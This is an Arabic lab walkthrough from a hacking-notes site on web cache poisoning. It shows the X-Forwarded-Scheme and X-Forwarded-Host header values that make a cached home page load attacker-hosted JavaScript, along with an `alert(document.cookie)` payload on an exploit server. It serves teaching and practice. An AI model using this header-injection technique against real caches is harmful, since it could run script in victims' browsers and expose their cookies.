> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).
# تسميم الذاكرة المؤقتة عبر عدة ترويسات
### تسميم ذاكرة التخزين المؤقت للويب باستخدام عدة رؤوس
تقدم هذه المختبرات ثغرة لتسميم ذاكرة التخزين المؤقت للويب القابلة للاستغلال فقط من خلال الجمع بين عدة رؤوس HTTP. / يزور مستخدم الصفحة الرئيسية مرة واحدة تقريبًا في الدقيقة. / الهدف هو تسميم ذاكرة التخزين المؤقت بحيث يؤدي الرد في متصفح الضحية إلى تشغيل `alert(document.cookie)`.
**التحليل الأولي**
* اعتراض الطلب إلى جذر الموقع (`/`).
* يبدو أن الإجابة مخزنة مؤقتًا ويُعاد استخدامها للزوار التاليين.
**الرؤوس القابلة للاستغلال المكتشفة**
* استخدام الامتداد **Param Miner** لتخمين الرؤوس غير المفهرسة.
* تكتشف الأداة الرأس **`X-Forwarded-Scheme`**.
**`X-Forwarded-Scheme` اختبار**
* يشير هذا الرأس إلى ما إذا كان الطلب يُعامل على أنه قادم عبر HTTP أو HTTPS.
* إرسال:
```http
X-Forwarded-Scheme: http
```
* يحاول الموقع أن يتصرف كما لو أنه عُرض عبر HTTP.
يتسبب هذا في خلل، ولم تعد الموارد تُحمَّل بشكل صحيح بسبب عمليات إعادة التوجيه غير الصحيحة.
**أضف رأسًا ثانيًا: `X-Forwarded-Host`**
```http
X-Forwarded-Host: test.com
```
* يحاول الموقع بعد ذلك تحميل موارده من هذه المنطقة.
يتضمن تحميل ملف JavaScript ما يلي:
يُنفَّذ هذا البرنامج النصي تلقائيًا عند تحميل الصفحة.
**التشغيل باستخدام خادم الاستغلال**
* الهدف هو فرض تحميل ملف JavaScript من خادم الاستغلال.
```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```
على خادم الاستغلال:
* أنشئ ملفًا يمكن الوصول إليه عبر الرابط:
محتوى الملف:
```javascript
alert(document.cookie)
```
**النتيجة**
* تُحمَّل الصفحة الرئيسية الآن برنامج JavaScript النصي من خادم الاستغلال.
* يكون الرد المسموم مخفيًا.
* عندما يزور مستخدم الصفحة، يُشغَّل البرنامج النصي تلقائيًا.
* يظهر تنبيه يعرض `document.cookie` في متصفح الضحية.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.